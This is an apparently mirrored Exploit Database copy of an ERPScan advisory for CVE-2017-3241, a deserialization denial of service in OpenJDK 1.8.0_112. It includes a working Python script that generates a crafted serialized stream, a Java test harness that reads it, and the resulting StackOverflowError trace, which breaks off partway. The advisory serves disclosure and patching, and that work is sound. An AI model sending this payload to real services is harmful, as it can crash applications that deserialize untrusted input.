Oracle OpenJDK Runtime Environment 1.8.0_112-b15 – Java Serialization Denial Of Service

Exploit Database
129 阅读

作者： ERPScan

日期： 2017-01-23
类别：
- dos
平台：
- multiple
来源：https://www.exploit-db.com/exploits/41145/

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

121

122

123

124

125

126

127

128

129

130

131

132

133

134

135

136

137

138

139

140

141

142

143

144

145

146

147

148

149

150

151

152

153

154

155

156

157

158

159

160

161

162

163

164

165

166

167

168

169

170

171

172

173

174

175

176

177

178

179

180

181

182

183

184

185

186

187

188

189

190

191

192

193

194

195

196

197

198

199

200

201

202

203

204

205

206

207

208

209

210

211

212

213

214

215

216

217

218

219

220

221

222

223

224

225

226

227

228

229

230

231

232

233

234

235

236

237

238

239

240

241

242

243

244

245

246

247

248

249

250

251

252

253

254

255

256

257

258

259

260

261

262

263

264

265

266

267

268

269

270

271

272

273

274

275

276

277

278

279

280

281

282

283

284

285

286

287

288

289

290

291

292

293

294

295

296

297

298

299

300

301

302

303

304

305

306

307

308

309

310

311

312

'''

Application: Java SE

Vendor: Oracle

Bug: DoS

Reported: 23.12.2016

Vendor response: 24.12.2016

Date of Public Advisory: 17.01.2017

Reference: Oracle CPU Jan 2017

Author: Roman Shalymov

1. ADVISORY INFORMATION

Title: Oracle OpenJDK - Java Serialization DoS

Advisory ID: [ERPSCAN-17-006]

Risk: High

Advisory URL:

https://erpscan.com/advisories/erpscan-17-006-oracle-openjdk-java-serialization-dos-vulnerability/

Date published: 17.01.2017

Vendor contacted: Oracle

2. VULNERABILITY INFORMATION

Class: Denial of Service

Remotely Exploitable: Yes

Locally Exploitable: Yes

CVE Name: CVE-2017-3241

CVSS Base Score: 9.0

3. VULNERABILITY DESCRIPTION

An attacker can cause DoS of the application which uses OpenJDK Runtime

Environment 1.8 as its core runtime engine.

4. VULNERABLE PACKAGES

OpenJDK Runtime Environment build 1.8.0_112-b15

5. SOLUTIONS AND WORKAROUNDS

Fix ObjectInputStream.skipCustomData() method, namely readObject0(false);

call in switch statement

Adress Oracle CPU January 2017

6. AUTHOR

Roman Shalymov (@shalymov)

7. TECHNICAL DESCRIPTION

An attacker can craft a malicious sequence of bytes that will cause JVM

StackOverflowError in the standard Java deserialization process if it uses

ObjectInputStream.readObject() method.

7.1. Proof of Concept

An attacker creates a malicious sequence of bytes, for example, using this

python script pwn_ser.py:

'''

#!/usr/bin/env python2

import sys

exp = ""

#serialization header

exp += '\xac\xed\x00\x05'

exp1 = ''

exp1 += '\x72'

exp1 += '\x00\x0c'+'java.io.File'

exp1 += '\x41'*8

exp1 += '\x00'

exp1 += '\x00\x00'

exp += exp1 * 10000

sys.stdout.write(exp)

'''

and save it in exp2.ser file

$ ./pwn_ser2.py > exp2.ser

Let's simulate deserialization process. For this purpose, we create a

simple Java program, which uses the following standard deserialization

pattern:

Serialize_read.java

import java.io.FileInputStream;

import java.io.ObjectInputStream;

public class Serialize_read {

public static void main(String args[]) throws Exception {

if(args.length < 1) {

System.out.println("usage: "+Serialize_read.class.getSimpleName()+"

[file]");

System.exit(-1);

}

FileInputStream fin = new FileInputStream(args[0]);

ObjectInputStream oin = new ObjectInputStream(fin);

try {

Object objFromDisk = oin.readObject();

String s = (String)objFromDisk;

System.out.println(s);

System.out.println("Successfully read!");

}catch(Exception e){}

System.exit(0);

}

Let's try to read our malicious file (we can also simulate this stuff over

network communication):

$ javac Serialize_read.java

$ java Serialize_read exp2.ser

It causes the following error dump:

Exception in thread "main" java.lang.StackOverflowError

java.io.ObjectInputStream$PeekInputStream.readFully(ObjectInputStream.java:2351)

java.io.ObjectInputStream$BlockDataInputStream.readUnsignedShort(ObjectInputStream.java:2834)

java.io.ObjectInputStream$BlockDataInputStream.readUTF(ObjectInputStream.java:2892)

at java.io.ObjectInputStream.readUTF(ObjectInputStream.java:1075)

at java.io.ObjectStreamClass.readNonProxy(ObjectStreamClass.java:684)

at java.io.ObjectInputStream.readClassDescriptor(ObjectInputStream.java:833)

at java.io.ObjectInputStream.readNonProxyDesc(ObjectInputStream.java:1609)